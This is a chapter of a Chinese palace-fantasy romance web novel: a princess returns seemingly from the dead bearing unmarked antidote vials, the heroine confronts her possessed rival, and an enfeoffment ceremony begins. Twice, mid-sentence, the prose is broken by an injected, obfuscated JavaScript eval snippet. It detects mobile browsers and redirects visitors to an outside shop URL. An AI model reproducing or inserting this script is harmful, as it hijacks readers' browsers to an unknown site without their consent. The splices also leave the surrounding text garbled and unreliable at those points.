“夏儿!”拓云扑上去,一把抱住她,哭得像个孩子,“你回来了!你真的回来了!我以为你死了——我抱着你的尸体——你怎么回来的夏儿!” 他哭得上气不接下气,说不出完整的话,只是死死攥着她的衣袖,像是怕她再消失。他的眼泪打湿了她肩头的衣料,她的手在他背上悬了许久,才轻轻拍了一下:“三哥,我回来了。” 拓石赶到时,看见的就是这一幕。他没有像拓云那样扑上去,只是在人群外围站定,一只手按在佩剑的剑柄上,指节微微泛白。火把的光在他脸上明明灭灭,他那双温润如水的眼睛此刻却像结了冰——没有狂喜,没有冲动,只有一种深邃的、冷静的审视。 他记得拓云抱着拓夏尸体时的绝望哭嚎,他记得拓夏尸体被折磨成什么样子。此刻她站在他面前,活生生的,呼吸在暮秋的冷空气中凝成白雾。她没有先看他。她在等拓云哭完,才转过头,目光越过拓云的肩膀,对上了他的视线。 “王兄。”她微微一笑,那笑容温婉而克制,像是大病初愈后还没有完全恢复力气,“夏儿在大漠里遇了一位高人相救,这些年一直随师父在山中养伤,未能早些回来报平安,让王兄挂心了。” 拓石没有立刻应答。他看了她许久,久到周围的宫人都开始不安地交换眼神。他张了张嘴,正要说什么,拓夏忽然从袖中取出一只青瓷小瓶,双手捧着递到他面前。那瓷瓶釉色莹润,在火把下泛着幽幽的光。 “夏儿听闻王兄身中奇毒,这些年全靠绛珠续命,每夜不能安寝。”她低下头,声音柔得像春水,“正巧师父临别时给了夏儿一瓶药——他说这药可解天下奇毒,或许对王兄的毒也能有用。夏儿也不知真假,只是想着,若能替王兄分担万一……” 拓石接过瓷瓶的手微微发颤。他拔开瓶塞,一股清冽的药香扑面而来,他只嗅了一口,便觉得胸口那股沉郁了多年的闷痛竟然松动了几分。 他抬起眼,看着眼前这个少女——她的脸是拓夏的,她的话语是拓夏的,她递给他解药时双手捧着、生怕摔了的样子,也是拓夏的。他沉默地将瓷瓶收入怀中,拇指却在瓶底的釉面上轻轻摩挲了一下——那个位置,通常刻着制瓷者的印记。他的指腹触到一片光滑。这只瓷瓶,没有印记。不是寻常窑口烧的。 他没有说什么。只是抬起手,轻轻按了按她的肩。“回来就好。这药,王兄收下了。” 拓云在一旁看得又哭又笑,拽着拓石的袖子喊:“大哥你看夏儿多懂事!她回来还给你带药!夏儿你最好了!”他全然没有注意到拓石收药时指腹在瓶底停顿的那一瞬,也没有注意到拓夏低头时眼底一闪而过的、不属于少女的幽光。 拓宏是最后一个到的。他没有像拓云那样狂奔,也没有像拓石那样远远站着审视。他刚从仁远殿出来,梧冲庭跟在他身后,低声禀报着宫门传来的消息。他听完,什么也没说,只是转了方向,不急不缓地朝宫门走去。 他走到宫门口时,拓云还在哭,拓石刚刚将青瓷瓶收入怀中。淡紫色长裙的少女从拓石身边转过身,看见了他,眼睛忽然亮了。她提着裙摆朝他跑过来,步子轻快得像一只蝴蝶——那是拓夏小时候最喜欢用的姿势,每次他从书院回来,她都会这样跑过来迎接他,一边跑一边喊“二哥二哥”。 “二哥!” 她跑到他面前,伸出手,想要去拉他的袖口。这个动作也是拓夏的。小时候她最喜欢拉他的袖口,拉住了就不撒手,非要他把路上买的糖交出来才肯放她走。她的手指离他的袖口还有一寸。 拓宏后退了一步。不是很大的步子,只是微微向后撤了半步,刚好让她的手指落了空。她的手悬在半空中,像一只扑了个空的蝴蝶,指尖微微颤了一下。 “妹妹回宫,自是好事。”他的声音很平,没有激动,没有欣喜,也没有刻意的冷淡——只是那种平,太正好了,像是经过精确的测量,多一分则假,少一分则露。 拓夏的手指在空中停了一瞬,然后自然地收回,拢进了袖中。她抬起头,对他甜甜一笑:“二哥还是老样子,连句疼夏儿的话都不肯说。不过没关系——夏儿回来了,以后有的是时间让二哥说。” 拓宏的目光在她脸上停了一瞬,然后移开了。他没有接她的话,只是对梧冲庭吩咐了一句“派人收拾夏玉阁”,便转身走了。走了几步,他忽然停下来,没有回头。 “你在外面太久,宫里规矩生疏了。茗轩宫那边,不必去打扰。” 他说完这句话,目光往茗轩宫的方向掠了一眼——那是母王的旧居。父王把跃然安排在母王的宫里,是什么意思?只一眼,立刻收回。他的声音仍然很平,但最后三个字落得极轻,又极重,像一扇门缓缓关上,锁扣落下的那一声脆响——不是请求,是警告。 拓夏站在宫门口的火把下,看着他的背影越走越远,嘴角的笑意一分一分地收敛了。 拓石和拓云陪着拓夏进殿时,宇文轩已在案前等了许久。拓夏盈盈拜倒,唤了声“父王”,抬起头时眼眶微红。 宇文轩伸手扶她起来,指腹在她腕上停了极短的一瞬,然后笑了笑:“回来就好。” 拓云在一旁絮絮地说夏儿是被高人救的,在山中养了好些年。宇文轩听着,点了点头。拓夏从袖中又取出一只青瓷小瓶,双手捧着递到宇文轩面前:“父王,这是师父临别时给的养气丹,专治积劳之症。夏儿在山上时便想着,父王的咳疾不知好些了没有。这丹药每日服一粒,或可缓解。” 宇文轩接过瓷瓶,指腹在瓶底轻轻摩挲了一下——触感光滑,与方才拓石收到的那只一样,没有印记。他笑了笑,将瓷瓶搁在案头:“你师父有心了。” 他转回身提笔蘸了蘸朱砂,像是忽然想起一桩小事:“两日后,朕要在轩辕台为跃然姑娘行受封大典。你们都在。”拓夏的睫毛轻轻一颤,低头应了。拓石抱拳领命,目光在宇文轩搁在案头的那只青瓷瓶上停了片刻,转身退了出去。 殿中只剩下宇文轩一人时,他将案头那只瓷瓶拿起来看了片刻,瓶底光滑如镜。加上拓石收到的那只——同样的釉色,同样的形制,同样没有印记。 受封大典的消息传遍皇宫,莲京下起了绵绵秋雨。雨丝细密,落在琉璃瓦上无声无息,只在瓦沟里汇成细流,沿着兽首滴水檐一滴一滴地往下坠,像在数着某种看不见的时辰。明月高悬。 煦审年站在御花园的回廊下,手按剑柄,目光扫过雨幕中的宫墙。雨雾将远处的殿宇染成了淡青色,空气里弥漫着泥土和枯叶混合的潮湿气息。接受禁军统领的封赏,不过是为了离跃然更近一些。 回廊尽头传来极轻的脚步。不是侍卫——侍卫的靴底是硬的,踩在青石上会发出沉闷的声响。这脚步轻得像猫,每一步都踩得又准又稳,带着一种刻意收敛的、从骨子里透出来的傲慢。 他转过身,看见一个淡紫色的身影正从雨幕中缓缓走来。她撑着一把素白的纸伞,伞沿压得很低,遮住了大半张脸,只露出尖尖的下巴和一双漆黑的眼睛。雨水顺着伞骨滑落,在她周围形成一道细密的珠帘,将她与整个世界隔开。那不是躲雨的姿态——那是将自己与他人区分开来的姿态。 她在离他三步远的地方停下,抬起头,对他微微一笑。那笑容矜持、优雅,唇角上扬的角度恰到好处,像一张戴了太久的面具。不是天真,是俯视——是一个活了万年的女仙,在看一个短暂如蜉蝣的凡人。 “公主。”他不动声色地后退了一步,手仍按在剑柄上,“雨大,请回宫。” “你叫我公主?”她歪了歪头,笑容不变,“苍野耔煦,你我之间,一定要这么生分吗?” 雨水顺着伞沿滴落在青石上,每一滴都像在敲打一段被封缄的旧事。煦审年按剑的手微微收紧,指节泛白。 他认出她了——不是通过面容,是通过她说话时那种独特的、将怨恨包裹在优雅之下的语气,是她在天界万年婚约里与他每一次争吵时那冰冷的慢条斯理的语调,是她身为凤凰一族女仙之首、被夺走丈夫时那深及骨髓的屈辱。 “倩婷。”他沉声唤出她的名字,像是从尘封的匣子里取出一柄生了锈的刀。 “你终于肯叫我了。”她收起笑容,将伞柄转了一圈,雨水从伞沿飞散开去,像一圈破碎的珠链,“我是来让你回天界的。你的神格早已觉醒,却迟迟不肯归位。” “你怎么找到这里的。” “你以为你躲得掉?”她轻笑了一声。 “你用了忆魂术?” “褪了大半仙力换的。”她低头看了一眼自己的手,“至于这具肉身——不过是借的。死在大漠的曦宇公主,魂魄早散了,尸体也损毁得厉害,我花了三年才修补完整。” 煦审年看着她,沉默了很久。“你不是来叙旧的。你想要什么?” “我要你回天界。”她的声音忽然沉下去,“你为她弃了万年的婚约,弃了天界的体面——你还要为她弃了你自己吗?” “你说了这么多,无非是想让我离开她。”他的声音很平,“我不会离开。” “你——”她撑着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632083|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伞的手指微微收紧,“你连承认你是谁的勇气都没有。你不敢告诉她你是苍野耔煦,不敢告诉她你就是前世的沈煦。你只敢躲在‘煦审年’这个名字后面,远远地看着她。”她停了片刻,声音低下去,低到像是自言自语,“耔煦,你太累了。回天界吧。她是帝女,她有护她的人。你护不住的。” 雨越下越大。雨水顺着廊檐倾泻而下,在他们之间形成一道半透明的水帘。煦审年站在水帘这边,望着对面那张不属于她的脸,忽然觉得很累。不是身体的累,是心口上压了太久、已经习惯了负重、却在这一刻被一根羽毛轻轻压垮的那种累。 “你说完了?”他转过身,背对着她,“我是欠你。当年瑶池婚约,你是无辜的。那一万年,你是我名正言顺的妻子。我没有给你应得的体面。这笔债,我认。但跃然更无辜。你若再敢伤她,休怪我不顾昔日情分。” 他迈开脚步,靴子踩过青石,溅起细碎的水花。“公主请回宫。雨大,路滑。” 她站在原地,看着他的背影消失在雨幕里。雨越下越大了,伞沿的水流已经连成了线,她的肩头湿了大半,紫色的裙摆浸了雨水,颜色变深了,像一朵被雨打过的花在一点点褪色。 她没有动,只是缓缓转着手中的伞柄,嘴角浮起一丝笑意,冰凉,从容,带着千年来未曾熄灭的执念。 第二日晌午,雨终于停了,但天色依然阴沉。庭院里的枯樱被雨水打落了几根细枝,歪歪斜斜地躺在湿漉漉的青石上,像谁随手丢弃的残笔。 拓夏走进茗轩宫的院子时,跃然正独自站在那株枯桃树下。她披了一件素色的外袍,袖口沾着几星泥点——方才她在屋里坐不住,出来把庭院里被风雨吹歪的几株兰草扶正了。她听见脚步声,转过头来。 “姐姐。”拓夏站在几步之外,歪着头看她,笑容乖巧而天真,“你就是拓云哥哥常说的那个跃然姐姐吗?我叫拓夏,刚从很远的地方回来。夏儿以后常来陪姐姐说话,好不好?” 跃然看着她。原来,这就是三兄弟不忍遗忘的拓夏。但那双眼睛——那双漆黑的眼睛深处藏着的东西,她曾在另一个世界见过。 拓夏走近了几步。她没有拉跃然的袖口,只是站在枯桃的另一侧,伸手抚过一根被风雨打歪的枝条,指尖的动作极轻、极慢,像是无意,又像是在把玩一件不值得珍惜的物件。 “姐姐长得真好看。夏儿看着姐姐,总觉得好像在哪儿见过——像是在一个很远很远的地方。那里不是曦宇,那里的房子很高,窗子是透明的。” 她顿了顿,指尖从枯枝上移开,轻轻点了点自己的太阳穴,像是在努力回忆什么,“我还做过一个梦,梦里有个男人,和煦统领长得一模一样。他吻过我,还……”她说着,指尖不经意地拂过自己锁骨的位置,嘴角浮起一丝羞怯的笑。 跃然的身体猛地绷紧了。不是慢慢僵住——是一瞬间,从脊柱到尾椎,一寸寸被冰封住。她再也听不见对面人说的任何话。风忽然静止了。整座庭院陷入一种窒息的寂静,连枯枝都不再颤抖。她看着眼前这张天真无邪的脸。 “你是谁?” 拓夏停住了。她没有转身,只是微微侧了侧头,露出半边脸的轮廓。 “姐姐,我是拓夏。宇文拓夏。” “余倩。”跃然的声音很平,平得反常,像暴风雨前最后一秒的天,“有意思吗?我能来这里,你追来,也不奇怪。但是,过去的黎跃然,已经死了。我可以不要沈煦,但你赢了吗?如果你赢了,就不会现在站在我面前说这些。” 拓夏终于转过身。她的笑容还在,但那双漆黑的眼睛里多了一丝东西——不是心虚,是被冒犯。一个她以为已经碾碎了的蝼蚁,居然敢对她这样说话。 跃然没有给她开口的机会。她往前走了一步,枯枝在她脚下发出一声脆响。“你追到这个世界来,是怕我抢回去?一个自杀的人,你怕她抢什么?你追着我不放,是因为你拿不稳他——你心里清楚,他从来没有选过你。你赢了,你把他身边的人都逼走了,你把他全占住了,可他没选过你。一次都没有。这让你发疯,对不对?” 拓夏的笑意一点一点地消失了。她站在院门口,素白纸伞在手中微微倾斜,雨水从伞沿滴落,在她脚边汇成一小片水洼。她没有说话,只是用那双漆黑的眼睛看着跃然,像是在看一件不该有声音的东西突然开口了。 “你想要沈煦,你自己去拿。他跟你走也好,留在哪里也好,都跟我没关系了。别来找我。你们两个,我一个都不想再见到。”跃然顿了一下,呼吸在暮秋的冷空气里凝成白雾。她看着拓夏的眼睛,一字一句,“我这辈子,不会再为你们两个人浪费一秒钟。” 跃然说完这些,转身就离开了,没有半分犹豫。拓夏眯眼看着跃然的背影,指甲掐进掌心,终是没有再说什么,转身出了院门。 拓宏缓缓踱出假山后面的影壁,朝跃然的偏殿走去。 20. 曦宇悦然 去生活在问题里。或许有一天,你会不知不觉地,渐渐生活进答案里。 ——赖内·马利亚·里尔克《给青年诗人的信》 "过去的黎跃然已经死了……我这辈子不会再为你们两个人浪费一秒钟。" 拓宏站在茗轩宫偏殿门外,方才在假山后面听见的那几句话还在他心口翻涌。里头个别字句他听不太懂,但他听懂了那个自称拓夏的女孩儿与煦审年、跃然之间的关系,也听懂了跃然此刻处境的艰难—— 她若留下,便要日日与这两人同处一处;她若离开,没有名分护身,他日若紫眸再现她又毫无自保之力,便是天下群雄觊觎之物。进退两难,无处可去。 他推开门。跃然转过身,看着他。 他站在暮色里,一身玄色衣袍,袖口沾着些泥,眉毛上还挂着一点没擦干净的水珠。 "你好些了吗?"他走近几步,声音比平时轻了许多。 "你们的拓夏妹妹回来了。"跃然说,声音很轻,像是在陈述一桩与自己无关的事,"我也该离开这里了。" 拓宏没有立刻接话。他沉默了一瞬,然后说:"两日后的受封大典,你若是受了封,便是曦宇名正言顺的公主。那时候你想查什么典籍,想去哪里,都不会有人拦得住你。" 跃然看着他,忽然笑了一下。那笑意很淡,像深秋枝头最后一片叶子被风吹落。 "典籍,身世——这些我之前是想查的。可现在忽然觉得,什么都不重要了。查清楚了又能怎样?知道自己从哪里来,也改变不了已经发生的事。我只是想离开这里。"她低下头,看着自己掌心上那道早已愈合的疤痕,"拓宏,我想走。" 他说:"你若执意离开,我便陪你。" 她抬起头,看着他。这句话拓云说过,拓石说过,沈煦上一世也说过——但每个人说的分量不一样。拓宏说的"陪你",这承诺让跃然心中一滞,那不是在峡谷里挡在她面前的那种孤勇,不是奋不顾身冲上去赴死的那种壮烈,而是更沉重的分量。 "你的王位不要了吗?你母亲的仇,你不想报了吗?"她问。 拓宏微微一愣,随即沉默了很久。他惊讶于宇文轩居然会把他的身世身世告诉跃然,他似乎也隐隐猜到了宇文轩想要赐封、跃然留下跃然的目的。但,那又如何? 风从院门外灌进来,吹得枯桃的枝条簌簌作响。他开口时,声音比方才更低了,低得像是说给自己听的。 "我恨了他十二年。从我三岁被梧叔背出青岚城、一路逃到曦宇边境,每一夜都在想怎么把他欠我母王的拿回来。可是,拓石中毒了,人人都传是我下的毒,他非但没有怪我,却想要将灵宙拱手相让,跃然,我不稀罕。"拓宏红了眼眶。 他顿了顿,"其实并不重要。王位、灵宙、谣言——都不重要。我想听到的,只是他一句''抱歉''。一句真心实意的忏悔。不是为了让我原谅他,是为了让我母王听到——他承认他错了。" “跃然,今日,是我生辰,却也是我母王祭日。每岁今日,我都期许那个人能把我叫到面前,说一句‘抱歉’,可每一年,都是一场空。如今,我也倦了。” 跃然微微蹙眉,没有说话。她只是看着他,看着他垂在身侧的手微微攥紧又松开,看着他喉结滚动了一下把那句话压回去,看着他像一座沉默了太久、终于裂开一道缝的山。 "我陪你。"他又说了一遍。 跃然转头,看着眼前这个从小背负着那么多的少年,想起他背上那道触目惊心的伤疤,想起他为了初见的自己便可豁出性命,一步不退。 “我想离开,做个安稳度日的普通人,你我,不可能一路。”跃然平静地看着拓宏的眼睛。 “你怎知,我不想做个安居乐业的乡野小民?” 跃然平静地笑了笑。没再说什么。 “受封大典后,我陪你去漱冰阁查阅,可好?”有了曦悦公主的名号,所有觊觎有了忌惮。 跃然微微一笑,未置可否。 当夜,皓洁的月光拂开纱帐,温柔地覆上跃然皎皙的脸颊;清朗的夜风撬开窗缝,闲散地遣散着深秋的萧瑟。夜恬静而安适。此刻的静谧却如同绳索将煦审年牢牢缚住,回转不得。 他立在跃然的寝殿门外,手按剑柄,目光一遍遍描摹着纱帐后那个模糊的轮廓。那么多个将她轻轻拥入怀中的夜晚,那么多个浅浅嗅着她馨暖发香的夜晚,渐渐地打湿了他幽黑的双眸。他慢慢地闭起眼,浓黑的眉端凝成了一个刀刻般的"川"。 不能后悔。他在心里对自己说。可当他睁开眼,看见纱帐后那个蜷缩成一团的身影时,他忽然发现——他这辈子最后悔的事,就是没保护好她。 "煦……啊……不要……"跃然焦急地呼喊着在睡梦中起身。 煦审年条件反射般推床而入,冲到榻边将她揽入怀中:"然然,不怕,不怕,老公在……" 他一手拍抚着她的背,一手按揉着她的后脑。她的秀发还是那么的柔软,只是那颤抖的身体此刻娇小得可怕,如同指尖行将散尽的流沙。 他的温声安慰就在出口的刹那冻结在了唇边,他失声般哽住,安慰她的怀抱却再没有理智放开。 别怕,老公在——多少个夜晚,他就是那样安慰着梦魇中的跃然。然而今次这句话再次出口,已经间隔了荏苒的二十年。话语并不生疏,却在二十年的等待中失去了原有的温度,冻伤了煦审年自己。 被以最熟悉的姿势抱起,耳边是最熟悉的安慰,跃然习惯性地双手揽住他的腰,将脸贴在他胸口听他有力的心跳,半梦半醒地嗫嚅着:"我梦见你被黑山老妖抓走了,我不会飞,抓不住你……煦,我怕,别走,不许走……" 一边说,跃然一边抬起头朦朦胧胧睁开眼去寻沈煦的脸。晨光依稀,她努力地辨认着他的神情。 然后她看清了。 那是沈煦的脸,但又陌生许多。 那是一张刚毅的又带着锈沉的脸。额角有一道沈煦从未有过的疤。只有那双眼睛——那双眼睛里的东西她认得。那是沈煦看她时才有的光,温柔的、焦灼的、小心翼翼的,像捧着一盏随时会被风吹灭的灯。 她猛地推开他。 不是慢慢退开——是拼了命地推开,像被烫到一样,双手撑在他胸口用力一抵,整个人往床角缩去。她的背撞上床柱,疼得她倒吸一口气,但她顾不上疼。她抱着膝盖,把自己缩成最小的一团,盯着眼前这个男人,胸口剧烈起伏。 "别碰我。" 她的声音在发抖,但这三个字咬得很重,重得像从牙缝里一个一个碾出来的。 煦审年僵在原地。他的手还保持着刚才揽着她的姿势,悬在半空中,像被人按了暂停。他看见她蜷缩在床角的样子——那不是害羞,不是惊讶,是恐惧,是嫌恶。 "然然,别怕!"煦审年忙从怀里拿出火折子,起身去燃亮桌子上的灯烛。"别怕,我是——煦审年。"他艰难地吐出自己的名字,僵硬地立着,注视着抱膝瑟缩的跃然,脚下如同灌铅。 伴着摇曳的烛火,跃然在惊恐中逐渐清醒。屋内死一般沉静。她看着眼前那张沈煦的脸,写满了熟悉的关切。她讨厌。讨厌自己的身体先于心做出了反应,讨厌自己半梦半醒时喊出的那个名字,讨厌刚才那一瞬间她竟然觉得安心。 她把脸埋进膝盖里,不想看他。 这一切的一切,已经不再是小夫妻间的吵闹、赌气、冷战、避而不见。这是他已变换了的身份,这是她已更迭了的身份,这是他们重新归属了的时空—— 虽近在咫尺却已沧海桑田。 她不想再跟他有任何牵扯了。 不管他是煦审年还是沈煦,不管他为什么在这里,不管他的眼睛里有没有她熟悉的温柔——她都不想再靠近了。 靠近他,就意味着靠近那些她用一条命才逃开的东西。那个客厅,那盏蜡烛,那扇半开的门,那个女人脸上对着她笑的得意的神情——她不想再想这些了。可他的怀抱刚才把她全拉回去了,只一秒,她的身体就背叛了她,像一把钥匙插进锁孔,咔嗒一声,所有的门都开了。 她恨这种感觉。恨自己身体里还有他的记忆。恨自己刚才喊了他的名字。 "煦统领?可是跃然姑娘醒了?可需要奴婢服侍?"青儿在门外小心地探问,打破了屋内的沉默。 煦审年收回目光,低头深吸了一口气,而后双手用力地揉搓了一下已经木然的脸,将上面的潮湿擦干,转身打开门:"跃然姑娘受了些惊吓,并无大碍。" "既然如此,奴婢先服侍姑娘睡下。统领的住处奴婢已经叫人打扫干净,在姑娘寝宫的后侧庭院,奴婢这就差人送您过去。"梧青儿一边说,一边唤来一个梧卫。 煦审年立在门口的身子顿了一下,而后平静和缓地说:"跃然姑娘,请安神静养。属下会一直随护在您身侧,姑娘尽可安心。"他没有回身,随着梧卫消失在了门口。 跃然抖动着嘴唇,却始终什么都没有说。覆身的锦被被她紧紧抓在手中,皱了一片,湿了一片。 "姑娘?姑娘为何哭得如此伤心?可是有何委屈?还是煦统领刚刚冒犯了姑娘?"待煦审年走远,梧青儿走到跃然的床边关切地问。"姑娘尽可放心,在这宫中,只要我们主子在,绝对不会有人能伤害到姑娘半分!"梧青儿一边说,一边帮跃然擦拭着脸上的泪痕。 "青儿,刚刚的事不要声张出去,好吗?是我做了噩梦,煦统领他没有冒犯我。"跃然拉起青儿的手,轻轻地解释着,"我身上有点不适,想沐浴,可方便?" "姑娘怎么如此客气?姑娘有什么需要,吩咐青儿去做就是!姑娘这边请。"梧青儿释然地笑着,给跃然披上一件外衣,走到寝宫左侧的石墙前,手拂了一下立柱上的夜明珠,石墙随即向两侧开启,现出一条铺着裘皮的石阶路,路的尽头是氤氲的热气。 "奴婢听说,这茗轩宫全然是按照梧苒王上的寝宫所设计,只可惜王上当年还没来得及看上这寝宫一眼,就……我们主子刚来曦宇国的时候,在这宫中足不出户,守了整整三年。这里面的摆设陈列,经主子多年的添置,也和王上当年的用度不差一二了。"一边走,梧青儿一边给跃然讲述着她所知道的一切。在梧青儿的心里,已经将跃然视为茗轩宫当之无愧的女主人了。 跃然静静地听着,直到回到卧床,她都没说一句话。她把整个身子浸在热水里,一直浸到下巴,只留一双眼睛露在外面。水汽模糊了她的视线,她什么也看不清,也不想看清。她只想泡在这池热水里,把刚才那个拥抱的温度洗掉。可她洗不掉—— 她的腰侧还残留着他手掌的力道,她的后脑还留着他指腹揉按的触感,她的耳边还在回响他说的那三个字。老公在。她的身体记住了这句话对应的安心感,像一条被驯了太久的狗,听见口令就趴下,不管发号施令的人是谁。 她恨这种感觉。 坐在床上,她仍是呆了很久,直到青儿将桌上热腾腾的一碗鲜奶端到她眼前。 "姑娘,下人们说这是煦统领给您备的,让您趁热喝。想来煦统领还真是细心,说是亲自到牛棚挤来煮好送过来的呢。还有这张便条压在碗下,您看。" 便签上是挺拔硬朗的毛笔楷书,依稀可见沈煦当年的字迹,笔划却锋利很多:"牛奶趁热喝,再睡一会儿。王上召见,属下去去就回。审年上。" 跃然看了那张字条很久。 "牛奶趁热喝"——这是沈煦说的话。"属下去去就回"——这是煦审年说的话。一张纸,两种身份。她不想认出他的字迹,但她认出了。她不想因为一碗牛奶想起那些夜晚,但她想起了。 沈煦每晚睡前,总会勤勤恳恳地钻进浴室,将浴缸里里外外刷上二十分钟,而后注满一池暖水,燃起香橙的熏香,将她抱进浴室。 她刚才的梦里,清楚看到沈煦绝望地抱着她的尸体,看到医院外沈煦被一个怪老头骗着剖开自己胸腹……… 那感觉太痛了,痛得她无法呼吸。她不想记起这些。可它们自己涌上来了,挡都挡不住。 她将字条放下,没有叠,没有抚平,只是放在碗旁边。然后接过牛奶,迟疑了一下,却还是一口一口慢慢咽下。牛奶是热的,熨帖着她的胃,也熨帖着什么她不想承认的东西。 她告诉自己:你不想见他。你用一条命才从他身边走开,你不打算再走回去了。 可另一个声音也在——很小,很远,像隔了一层厚厚的墙:那天晚上到底发生了什么? 她把这个声音按下去。不是现在。她还没准备好。她不知道自己什么时候会准备好,或者永远都不会准备好。但至少现在,她不想靠近他。不想靠近任何让她想起那些事的人。 当夜,仁坤殿内灯火通明。 拓石从宫门回来后,独自坐在案前,将那只青瓷小瓶放在桌上,对着烛光看了许久。他派人传了御医。 御医深夜赶来,接过瓷瓶,拔开瓶塞,只嗅了一下便神色骤变——那药香清冽纯正,绝非寻常药石所能炼就。御医小心翼翼地刮下些许粉末,以银针试之,又以多种药引相验,反复核对了整整一个时辰,终于抬起头,眼中满是不可置信:"殿下,此药确能解您身上之毒。药性纯和,无半分杂质——老夫行医数十载,从未见过如此精妙的配方。" 拓石沉默了很久。 御医退下后,他将那只瓷瓶握在掌心,瓶底光滑如镜。药是真的。解药是真的。可正是因为它太真了,他才觉得不安。他亲眼见过拓夏尸首,怎可能活死人、肉白骨起死回生?她又是从哪里弄到这种能解天下奇毒的药?她的师父是谁?她为什么不愿透露?这些问题他一个都答不上来,但他知道——解药是真的,不代表送药的人也是真的。 毒性在这一刻毫无征兆地发作了。多日奔波后的反噬来得比以往更猛烈,拓石整个人从榻上翻落在地,萧潜闻声冲进来,手里端着刚从御医处取来的绛珠。 拓石没有接。他从枕下摸出那只青瓷小瓶,拔开瓶塞,将解药倒入口中。萧潜脸色大变:"主上!此药来历不明——" 拓石抬起手止住了他,靠在榻边闭目调息。片刻之后,胸口那股沉郁了多年的闷痛竟然一点点松动了,痛从血液骨缝里一点点渗出,越来越浓,他用仅剩的意志力艰难调息,但仍然痛得唇齿打颤。那痛,仿佛将他的五脏六腑搅碎,又一点点缝合,仿佛将他的血肉洗涤,再一点点凝聚,最终,那痛凝成一股腥甜,从他喉咙深处涌出——紫黑腥臭。他知道,那折磨了他三年的毒,解了。但似乎有一种更难言的苦涩,让他无法挣脱。 他睁开眼,看着手中那只瓷瓶,有泪,混着痛出的汗,缓缓滑落。 "萧潜,"他说,声音比方才稳了许多,"这药是真的。送药的人,我需得看清楚她是谁。" 与此同时,宇文轩的寝殿内烛火未熄。他将拓夏递来的那只青瓷瓶放在案头,他拿起看了一会儿,然后放回原处,没有服用。 一个"死而复生"的女儿,一个来历不明的师父,一个没有印记的瓷瓶——这一切太完美了。真正的失而复得不该这样完美。 “煦统领,请帮我查查她究竟是谁。”他对着面前的煦审年说,不是命令,是恳求。 “是。”煦审年埋着头,领命。 又过两日。 拓石奇毒已解的消息传报王宫,拓云来看过她,带着拓夏,跃然称病不见。 拓石没有出现,但送来了许多吃穿用度。 拓宏每日来陪她用膳,只介绍蔚魄大陆的风土人情,问她,受封大典后,她想去哪里。跃然听着,却没回答。 煦审年每日都送牛乳来,但跃然没有再喝,都让青儿还回去了。拓宏知道了之后,让青儿将牛乳换成羊乳,告诉她这是青岚的羊乳,让她尝尝。她尝了,果然不输牛乳,没有膻腥味道,反倒有淡淡的青草香。 她终究没找到机会离开这王宫,至少现在,她不借外力是根本无法逃出去的。她只有接受了受封这件事。 两日后,轩辕台受封大典。 清晨,天刚蒙蒙亮,茗轩宫就已经挤满了各司的宫人。宫人们手持鲜花、礼器按序排列静候着。礼乐师从卯时就开始吹奏,每刻钟换一种乐曲。 茗轩宫的内庭中,煦审年立在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632084|206408||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门口恪守他的护卫之职。 宇文拓石、宇文拓宏、宇文拓云三兄弟寅时三刻就已经身着礼服,按宫中仪礼的律令,跪立在庭院中,等待观摩跃然的梳盥之礼。 跃然寅时就被梧青儿叫起沐浴了。沐浴完毕,略吃了些餐点。 卯时,她按照律令,内着亵衣,外披明黄的蔽体锦缎,坐在金羽花围簇的庭院中,接受司仪房掌司的绾鬓之礼。 "高绾云鬓,卓然超尘,洁身自好,蕙质兰心。"老掌司熟练地将跃然的长发绾起,塑出一个凌云髻,口中诵读着绾发辞令。 "青儿,乐师们所奏的乐曲虽庄重典雅,却又好像是殷殷训诫,在絮絮诉说着什么,你可知其中奥妙?" 跃然任老掌司绾着鬓,心思却全被礼乐吸引去了。礼乐之声纯净典雅,不但没有掩盖人声,相反地,庭院中每个人的语声似乎都在这礼乐声的衬托下更加清晰可闻。 不远处正在巡查四周的煦审年听到跃然的问话,忽然转过头惊讶地看着她。难道,她想起来了?一丝喜悦划过他的心头。宇文三兄弟也惊奇地看向跃然。 三兄弟受封为王时都经历过这样的仪式,可是从未觉出这礼乐有什么异常。 "公主,这个……青儿不知……"梧青儿满脸为难,仪式中交谈,恐怕不合礼数。 "公主,老奴倒是在宫中听说过一些传说。"老掌司含笑对着跃然说道,手中正用各式钗、花妆点跃然的发髻。 "哦?掌司请说。" "公主现在听到的礼乐为轩辕乐,共八大系,分为金律、木律、水律、火律、土律、冥律、曦律、玄律八大章节。在新王登基或王家子嗣受封之时,需提前一个时辰开始鸣奏,以洗沐天家心智,并为苍生祈福。" 老掌司将手中象征公主身份的鸣翠金羽朝圣步摇帮跃然插在了鬓发上,继续说,"宫内一直有这样的传说,早在曦宇大陆辟立之初,是有神赐谱词并同曲谱一同流传世间的。只可惜千年前曦宇大陆连降三日血雨,天晴后所有谱词便都模糊不清、字迹难辨了。而后,能够诵唱谱词的宫人便都离奇失踪,所以后人只能凭记忆恢复了曲谱,而谱词太过高深,鲜有人能熟记,于是失传了。" "有如此神奇之事?"跃然再仔细听听礼乐,她觉得自己心里好像被蒙了一层薄纱,曲词明明呼之欲出,却又偏偏分辨不清其中的字句。 "公主,老奴刚刚说了,这些只是传说而已。老奴初掌司仪房之时,上一任掌司说给老奴听的。" 